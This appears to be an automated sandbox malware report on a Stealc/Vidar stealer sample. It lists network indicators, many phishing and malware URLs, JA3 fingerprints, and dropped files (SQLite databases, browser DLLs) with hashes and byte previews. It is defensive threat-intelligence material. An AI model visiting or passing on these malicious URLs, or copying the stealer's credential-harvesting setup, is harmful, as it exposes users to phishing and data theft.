Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
20:18:43	API Interceptor	84x Sleep call for process: file.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
52.153.155.231	file.exe	Get hash	malicious	Unknown	Browse
	file.exe	Get hash	malicious	Amadey, Babadeda, RedLine, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Babadeda	Browse
	SecuriteInfo.com.Win32.TrojanX-gen.14108.29028.exe	Get hash	malicious	RisePro Stealer	Browse
	SecuriteInfo.com.Win32.TrojanX-gen.17964.23581.exe	Get hash	malicious	RisePro Stealer	Browse
	SecuriteInfo.com.Win32.TrojanX-gen.17533.12813.exe	Get hash	malicious	RisePro Stealer	Browse
	SecuriteInfo.com.Win32.TrojanX-gen.1550.22003.exe	Get hash	malicious	Amadey, RisePro Stealer	Browse
	SecuriteInfo.com.Win32.TrojanX-gen.30216.13774.exe	Get hash	malicious	RisePro Stealer	Browse
	SecuriteInfo.com.Win32.TrojanX-gen.2497.16579.exe	Get hash	malicious	RisePro Stealer	Browse
	PDFSuperHero.exe	Get hash	malicious	Unknown	Browse
23.198.7.181	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	http://track.senderbulk.com/9145172/c?p=t_1VEj-jtdCupKDOh1UJ15hIRR1JywmpwhIYXugQ8652sS-HwhrykvIupJ1sV0083zN2qzdnhsEwJGDUDZ1OyR83lYJTkJdb1ldVrXBgZet3hXPVMDZaSfsMTO9r_7_gsxsZuAYF3HDczbqi9bL16p9EqvSQURoSr8h9p02Jz24yKdADk5HJYxFc56zk03c1	Get hash	malicious	Unknown	Browse
	https://neon.ly/f132f836-82cf-441d-83cc-ac2dde9fb1d7	Get hash	malicious	Unknown	Browse
	https://vqrvoca8x6h374fj71x.blob.core.windows.net/vqrvoca8x6h374fj71x/url.html#cl/7671_md/12/613/2075/415/1157811	Get hash	malicious	Phisher	Browse
	https://fedex27.blob.core.windows.net/fedex27/1.html#cl/16732_md/71/14931/3458/19024/294550	Get hash	malicious	Phisher	Browse
108.156.211.31	file.exe	Get hash	malicious	Stealc, Vidar	Browse
152.195.19.97	http://ustteam.com/	Get hash	malicious	Unknown	Browse	www.ust.com/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
sb.scorecardresearch.com	file.exe	Get hash	malicious	Stealc, Vidar	Browse	18.244.18.38
	https://www.canva.com/design/DAGVD7_HMvQ/PFkDB3TDx6Ru4nNALhSqqQ/view?utm_content=DAGVD7_HMvQ&utm_campaign=designshare&utm_medium=link&utm_source=editor	Get hash	malicious	Unknown	Browse	18.244.18.27
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	18.244.18.32
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	18.244.18.122
	0T32Kz4dZU.exe	Get hash	malicious	Stealc, Vidar	Browse	18.244.18.38
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	18.244.18.122
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	18.154.84.16
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	18.244.18.27
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	18.244.18.122
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	18.244.18.32
chrome.cloudflare-dns.com	file.exe	Get hash	malicious	Stealc, Vidar	Browse	172.64.41.3
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	162.159.61.3
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	162.159.61.3
	0T32Kz4dZU.exe	Get hash	malicious	Stealc, Vidar	Browse	162.159.61.3
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	162.159.61.3
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	172.64.41.3
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	162.159.61.3
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	162.159.61.3
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	172.64.41.3
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	162.159.61.3
ssl.bingadsedgeextension-prod-europe.azurewebsites.net	file.exe	Get hash	malicious	Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	94.245.104.56
	0T32Kz4dZU.exe	Get hash	malicious	Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	94.245.104.56
sni1gl.wpc.nucdn.net	file.exe	Get hash	malicious	Stealc, Vidar	Browse	152.199.21.175
	0T32Kz4dZU.exe	Get hash	malicious	Stealc, Vidar	Browse	152.199.21.175
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	152.199.21.175
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	152.199.21.175
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	152.199.21.175
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	152.199.21.175
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	152.199.21.175
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	152.199.21.175
	JVLkkfzSKW.exe	Get hash	malicious	Stealc, Vidar	Browse	152.199.21.175
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	152.199.21.175

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
MICROSOFT-CORP-MSN-AS-BLOCKUS	Arquivo_4593167.msi	Get hash	malicious	AteraAgent	Browse	40.119.152.241
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	20.189.173.26
	Paiement.eml	Get hash	malicious	HTMLPhisher	Browse	40.126.32.138
	https://share.hsforms.com/11zbkP7dfTBO0LgTS5dCN0Asixz3	Get hash	malicious	Mamba2FA	Browse	13.107.246.45
	Access Audits -System #6878.msg	Get hash	malicious	HTMLPhisher	Browse	104.47.64.28
	https://app.pandadoc.com/document/v2?token=abf6587d58630a40e08d0ad15de8202e2e9c4af5	Get hash	malicious	Unknown	Browse	150.171.27.10
	(No subject) (100).eml	Get hash	malicious	Tycoon2FA	Browse	104.47.64.28
	https://irs-ci.secureemailportal.com/s/e?m=ABDvX2xiE1DvdsTP333wt4Qp&c=ABDsD05ZNJ23bCjfjm6gXjJS&em=publicrecords%40marionfl.org	Get hash	malicious	Unknown	Browse	13.107.42.14
	Reminders for Msp-partner_ Server Alert.eml	Get hash	malicious	HTMLPhisher	Browse	150.171.27.10
	819614 - Midways Freight Ltd.xlsm	Get hash	malicious	Unknown	Browse	13.107.246.45
AKAMAI-ASN1EU	file.exe	Get hash	malicious	Stealc, Vidar	Browse	23.47.194.88
	V6QED2Q1WBYVOPE	Get hash	malicious	Unknown	Browse	23.199.49.152
	https://irs-ci.secureemailportal.com/s/e?m=ABDvX2xiE1DvdsTP333wt4Qp&c=ABDsD05ZNJ23bCjfjm6gXjJS&em=publicrecords%40marionfl.org	Get hash	malicious	Unknown	Browse	88.221.110.136
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	23.198.7.171
	https://apollomicsinc-my.sharepoint.com/:u:/p/peony_yu/EThcAjzaTWNPs4NpIP1X0v0BUe4pmKNB9s6TANBDk5EDeA?rtime=8VndtY_33Eg	Get hash	malicious	Unknown	Browse	2.16.241.17
	https://www.mediafire.com/file/oyfycncwen0a3ue/DSP_Plan_Set.zip/file	Get hash	malicious	Unknown	Browse	88.221.110.227
	https://cruparcellaire-my.sharepoint.com/:u:/g/personal/dani_grandrcu_com/EffQlMxf6g9Hiljl1DzmuTcB4-lo0t9ejs2hIBwCnQfe1g?e=TtenDj	Get hash	malicious	Unknown	Browse	2.16.168.12
	0T32Kz4dZU.exe	Get hash	malicious	Stealc, Vidar	Browse	23.222.241.146
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	23.221.22.218
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	23.221.22.215
AKAMAI-ASN1EU	file.exe	Get hash	malicious	Stealc, Vidar	Browse	23.47.194.88
	V6QED2Q1WBYVOPE	Get hash	malicious	Unknown	Browse	23.199.49.152
	https://irs-ci.secureemailportal.com/s/e?m=ABDvX2xiE1DvdsTP333wt4Qp&c=ABDsD05ZNJ23bCjfjm6gXjJS&em=publicrecords%40marionfl.org	Get hash	malicious	Unknown	Browse	88.221.110.136
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	23.198.7.171
	https://apollomicsinc-my.sharepoint.com/:u:/p/peony_yu/EThcAjzaTWNPs4NpIP1X0v0BUe4pmKNB9s6TANBDk5EDeA?rtime=8VndtY_33Eg	Get hash	malicious	Unknown	Browse	2.16.241.17
	https://www.mediafire.com/file/oyfycncwen0a3ue/DSP_Plan_Set.zip/file	Get hash	malicious	Unknown	Browse	88.221.110.227
	https://cruparcellaire-my.sharepoint.com/:u:/g/personal/dani_grandrcu_com/EffQlMxf6g9Hiljl1DzmuTcB4-lo0t9ejs2hIBwCnQfe1g?e=TtenDj	Get hash	malicious	Unknown	Browse	2.16.168.12
	0T32Kz4dZU.exe	Get hash	malicious	Stealc, Vidar	Browse	23.222.241.146
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	23.221.22.218
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	23.221.22.215

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
1138de370e523e824bbca92d049a3777	file.exe	Get hash	malicious	Stealc, Vidar	Browse	23.1.237.91
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	23.1.237.91
	https://cosiosos.com.de/7i2ko/	Get hash	malicious	HTMLPhisher	Browse	23.1.237.91
	weekly-finances-report.xlsx	Get hash	malicious	KnowBe4	Browse	23.1.237.91
	https://token.onelogin.com-token-auth.com/Xa0Y1MmVibVhmY0E5dnlabzhVK2w2MVo4bXZUM3RzTFBZU1FSUEYxRHlzb29tODRTUDQ4alBDR3Y1cWUvN1JvVzhtWGVkaHFaSG0rOVpUTVV1VjY2a3MvZDB6TktwTHhsRk9xdzQwQjV6YjIvcnA5MjFsaFJEamtNdXI5UXQ1Qm9lK0ZsZFd0TXI0R2JWWlVYeFFXa2pBaXZOKzR2QXRkUTd3dlBLNzUrQ1RweERVMmQ5ZHQwdjlKZ2dlS2tEVUF5UEE9PS0tdFFWWndQdklZQXNodTY1US0tUXAyU1llVHhDaXRTRjU1OVNWMXFNdz09?cid=2262276963	Get hash	malicious	KnowBe4	Browse	23.1.237.91
	Review_&_Aprove_Your_Next_Payroll84633.html	Get hash	malicious	Unknown	Browse	23.1.237.91
	https://www.guidedtrack.com/programs/n5snx1a/run	Get hash	malicious	Unknown	Browse	23.1.237.91
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	23.1.237.91
	https://joseordenes.com/n/?c3Y9bzM2NV8xX3ZvaWNlJnJhbmQ9TUZCc01WYz0mdWlkPVVTRVIyODEwMjAyNFUxOTEwMjgxMA==N0123N%5BEMAIL%5D	Get hash	malicious	HTMLPhisher, Mamba2FA	Browse	23.1.237.91
	Biocon-In-Service Agreement.pdf	Get hash	malicious	EvilProxy, HTMLPhisher	Browse	23.1.237.91
28a2c9bd18a11de089ef85a160da29e4	fileDoc_Commission Dept Ec.docx	Get hash	malicious	Unknown	Browse	184.28.90.27 40.126.32.140 13.107.246.45 20.12.23.50
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	184.28.90.27 40.126.32.140 13.107.246.45 20.12.23.50
	http://hprus.conegutsud.com.pe/4zgrHK17910PyfC1508dysnmxbczx27005OLWUIBMTRFCEVBH25578NWDJ17331m12#2mzdvgfkgua042eh8kky7aanhr5dggelvb8fjk5yz6jna8o8e5	Get hash	malicious	Phisher	Browse	184.28.90.27 40.126.32.140 13.107.246.45 20.12.23.50
	SecuriteInfo.com.Win32.RATX-gen.1803.21030.exe	Get hash	malicious	Unknown	Browse	184.28.90.27 40.126.32.140 13.107.246.45 20.12.23.50
	Paiement.eml	Get hash	malicious	HTMLPhisher	Browse	184.28.90.27 40.126.32.140 13.107.246.45 20.12.23.50
	https://pub-6838e3dd185d4df89d3bb3eabe6469a4.r2.dev/index.html#	Get hash	malicious	Unknown	Browse	184.28.90.27 40.126.32.140 13.107.246.45 20.12.23.50
	https:/click.mailchimp.com/track/click/30010842/docsend.com?p=eyJzIjoiT2RaN0hwNHlyY2E3VXl5TWcwMlA2eFpHVlN3IiwidiI6MSwicCI6IntcInVcIjozMDAxMDg0MixcInZcIjoxLFwidXJsXCI6XCJodHRwczpcXFwvXFxcL2RvY3NlbmQuY29tXFxcL3ZpZXdcXFwvZzZnYzZjazdtNHlkYTRpa1wiLFwiaWRcIjpcImNhZDg3NzI1Y2UzMjRiMzI4Yzk1ZGVkYWUyMzc4ZTZjXCIsXCJ1cmxfaWRzXCI6W1wiYzE5ZWU5NGJiMzA5YmZhOGQ2MDU3OGI1Mjk5NTFmOWE4NDQ0ODNhYVwiXX0ifQ#steven.davis@tu.edu	Get hash	malicious	HTMLPhisher	Browse	184.28.90.27 40.126.32.140 13.107.246.45 20.12.23.50
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	184.28.90.27 40.126.32.140 13.107.246.45 20.12.23.50
	https://jksvb.jnkpavers.com/?tZbf66=Tyw6/shhfkanxgsdff/&c=E,1,NSDuZCxGQc6fw5XDGugSpFh6vhsurKgNKuRtQYEvQblaeko7ktmOqkToectUm_5S_qV7IGwrOynGYnQ5TFSCJymAV2tc5TeuFegn96UyDZPOEKOyHYw,&typo=1	Get hash	malicious	Unknown	Browse	184.28.90.27 40.126.32.140 13.107.246.45 20.12.23.50
	https://share.hsforms.com/11zbkP7dfTBO0LgTS5dCN0Asixz3	Get hash	malicious	Mamba2FA	Browse	184.28.90.27 40.126.32.140 13.107.246.45 20.12.23.50

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\ProgramData\freebl3.dll	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	0T32Kz4dZU.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
C:\ProgramData\chrome.dll	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	b4s45TboUL.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	0T32Kz4dZU.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	tdnPqG0jmS.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse

Created / dropped Files

C:\ProgramData\AFCBKFHJJJKKFHIDAAKF

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8746135976761988
Encrypted:	false
SSDEEP:	96:O8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:O8yLG7IwRWf4
MD5:	9E68EA772705B5EC0C83C2A97BB26324
SHA1:	243128040256A9112CEAC269D56AD6B21061FF80
SHA-256:	17006E475332B22DB7B337F1CBBA285B3D9D0222FD06809AA8658A8F0E9D96EF
SHA-512:	312484208DC1C35F87629520FD6749B9DDB7D224E802D0420211A7535D911EC1FA0115DC32D8D1C2151CF05D5E15BBECC4BCE58955CFFDE2D6D5216E5F8F3BDF
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\AKKEHIECFCAAFIEBGIDAAEBFCB

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.03859996294213402
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWHxDSjENbx56p3DisuwAyHI:58r54w0VW3xWdkEFxcp3y/y
MD5:	D2A38A463B7925FE3ABE31ECCCE66ACA
SHA1:	A1824888F9E086439B287DEA497F660F3AA4B397
SHA-256:	474361353F00E89A9ECB246EC4662682392EBAF4F2A4BE9ABB68BBEBE33FA4A0
SHA-512:	62DB46A530D952568EFBFF7796106E860D07754530B724E0392862EF76FDF99043DA9538EC0044323C814DF59802C3BB55454D591362CB9B6E39947D11E981F7
Malicious:	false
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\ECFCBKJDBFIJKFHIIDAAKKKKFC

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\FIDAFIEB

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 10, database pages 91, cookie 0x36, schema 4, UTF-8, version-valid-for 10
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.265300771203967
Encrypted:	false
SSDEEP:	384:8/2qOB1nxCkMASAELyKOMq+8yC8F/YfU5m+OlTLVum2:Bq+n0JA9ELyKOMq+8y9/Owp
MD5:	B5063560D845985EF2F967AD129E8CC4
SHA1:	D76BB85F451D185A49B1B871A8C901DD82121391
SHA-256:	2074D7FC3F760847CD5F12213F1CC4378415EE450A7B937ED5F1830A012866C3
SHA-512:	2851E912D88C25CA6BCBF91B20DC38A68BA7503887F5F126931D7D5743B6DA7FEA0792822B5F3DF6540319A16FBF01ADD14B6858B556706E4569E843D4D8B290
Malicious:	false
Preview:	SQLite format 3......@ .......[...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\GIDAECGDAFBAAAAAECGI

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text, with very long lines (1743), with CRLF line terminators
Category:	dropped
Size (bytes):	9504
Entropy (8bit):	5.512408163813622
Encrypted:	false
SSDEEP:	192:nnPOeRnWYbBp6RJ0aX+H6SEXKxkHWNBw8D4Sl:PeegJUaJHEw90
MD5:	1191AEB8EAFD5B2D5C29DF9B62C45278
SHA1:	584A8B78810AEE6008839EF3F1AC21FD5435B990
SHA-256:	0BF10710C381F5FCF42F9006D252E6CAFD2F18840865804EA93DAA06658F409A
SHA-512:	86FF4292BF8B6433703E4E650B6A4BF12BC203EF4BBBB2BC0EEEA8A3E6CC1967ABF486EEDCE80704D1023C15487CC34B6B319421D73E033D950DBB1724ABADD5
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "9e34c6e7-cbed-40a0-ba63-35488e171013");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696426836);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696426837);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\ProgramData\HDAFBGIJ

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136413900497188
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cV/04:MnlyfnGtxnfVuSVumEHV84
MD5:	429F49156428FD53EB06FC82088FD324
SHA1:	560E48154B4611838CD4E9DF4C14D0F9840F06AF
SHA-256:	9899B501723B97F6943D8FE6ABF06F7FE013B10A17F566BF8EFBF8DCB5C8BFAF
SHA-512:	1D76E844749C4B9566B542ACC49ED07FA844E2AD918393D56C011D430A3676FA5B15B311385F5DA9DD24443ABF06277908618A75664E878F369F68BEBE4CE52F
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\IIEHCFIDHIDGIDHJEHID

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\chrome.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	692736
Entropy (8bit):	6.304379785339226
Encrypted:	false
SSDEEP:	12288:Kk5nGNLFzxC+gej5yNcTN+pt+tLK75PL2rn65hYVKKuKOvy/j3t:KMGNL/geFyNcTN+jv75TQn652VBuNyb
MD5:	EDA18948A989176F4EEBB175CE806255
SHA1:	FF22A3D5F5FB705137F233C36622C79EAB995897
SHA-256:	81A4F37C5495800B7CC46AEA6535D9180DADB5C151DB6F1FD1968D1CD8C1EEB4
SHA-512:	160ED9990C37A4753FC0F5111C94414568654AFBEDC05308308197DF2A99594F2D5D8FE511FD2279543A869ED20248E603D88A0B9B8FB119E8E6131B0C52FF85
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: b4s45TboUL.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: 0T32Kz4dZU.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: tdnPqG0jmS.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......s,.>7M.m7M.m7M.m\|5.l<M.m\|5.l.M.m\|5.l#M.m'..l"M.m'..l'M.m'..l.M.m\|5.l:M.m7M.m.M.m7M.mlM.m...l6M.m...l6M.mRich7M.m........................PE..L......g.........."!...)............P.....................................................@..........................\..l...<].................................. 8...(..T....................(......@'..@............................................text............................... ..`.rdata..zV.......X..................@..@.data...T....p.......N..............@....reloc.. 8.......:...X..............@..B........................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\freebl3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: 0T32Kz4dZU.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\mozglue.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\msvcp140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
